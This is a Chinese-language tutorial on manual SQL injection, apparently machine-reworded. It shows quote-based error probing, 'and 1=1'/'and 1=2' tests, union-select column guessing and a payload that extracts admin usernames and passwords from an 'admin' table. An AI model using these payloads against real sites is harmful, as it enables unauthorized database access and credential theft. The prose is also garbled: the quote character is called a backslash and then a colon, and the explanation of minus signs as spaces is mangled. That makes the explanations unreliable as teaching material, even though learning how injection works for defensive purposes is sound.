假设的目的网址 http://www.2cto.com /info.php?articleid=123(具体不能引入)
当articleid 自变量取值为123 时，大家假设一下在云服务器中会有如何的代码运行?
1. SELECT * /* Select 函数公式载入信息*/
2. FROM infotable /* 从products 数据分析表中*/
3. WHERE id='123';/* false condition 符合条件时*/
/*XXXX*/是注释符号，当程序执行时，/**/和里面的一部分电子计算机会自行忽视。
具体系统软件实行的源代码是如此的：
1. select * from infotable where id = '123';
在这儿，id 的取值是根据url 取值获得的“123”，那麼假如那样呢：
info.php?articleid=123'
后边多了一个反斜杠，那麼较为一下系统软件本来实行的句子有哪些转变：
1. select * from infotable where id = 123;
2. select * from infotable where id = 123';
***多了一个冒号，拼写错误。
注：软件编程无法得到需要的結果，不正确分二种，一种是拼写错误，一种是逻辑错误。后边用心阅读文章你能渐渐地搞清楚差别开的，这也就是为何分辨是不是为引入点的***步要在网站地址后边加反斜杠的缘故了(加反斜杠出差错不可以明确网站地址为引入点，仅仅分辨的一个流程罢了），因此后边的1=1 和1=2 的目地也就清晰了。
1. select * from infotable where id = 123;
2. select * from infotable where id = 123 and 1 = 1;//实际上1 便是1，因此应当
回到一切正常网页页面
3. select * from infotable where id = 123 and 1 = 2;//实际上，电子计算机中1 始终也不等于2，产生逻辑错误，因此回到不正确网页页面。手工制作引入通常会应用联合查询函数公式union 下边讲一下union 的使用方法。
union 引入的***步通常是猜字段数。假设注入点是新闻报道网页页面，那麼网页页面中实行的SQL 句子便是：
1. select title,date,author,news,comm from news where id = 12;
如果你开展union 引入的情况下，union 前边的句子和union 后边的句子，全是一个完全的SQL
句子，是可以独立实行的句子
可是，务必确保前后左右的字段名数同样，例如上边这一句子
1. select title,date,author,news,comm from news where id = 12;
2. select title,date,author,news,comm from news where id = 12 union select
name,password,3,4,5 from admin;
3. //news 是新闻报道表段，admin 是管理人员信息表段
4. //管理员信息表段显著沒有union 前边news 表段里边包括的字段名数大因此应用数据3 到5 取代，数据无固定不动文件格式，可以使1 2 和3，还可以是111111 和4435435或是索性用null 空来替代。
因此，上边的引入句子在真实中便是那么结构：
1. info.php?id=12 union select name,password,3,4,5 from admin
2. //SQL 引入中，减号用于意味着空格的意思，由于有一些电脑浏览器会自行将空格符转化成 ，
假如union 前边是5 个，而union 后边并不是5 个，则会产生逻辑错误，表明不正确网页页面。
因为程序猿撰写的程序流程大家并不了解他在数据库查询中安装了几个字段，因此通常我们是先开展字段名数的猜想，也就是：
1. info.php?id=12 union select 1
2. info.php?id=12 union select 1,2
3. info.php?id=12 union select 1,2,3
4. info.php?id=12 union select 1,2,3,4
5. info.php?id=12 union select 1,2,3,4,5
6. //你也可以用order by 来猜，使用方法可以自身搜一下
一直那样猜到恰当网页页面出去，没了逻辑错误，也就表明字段名数一致了，随后……后边……
这儿只是给予构思。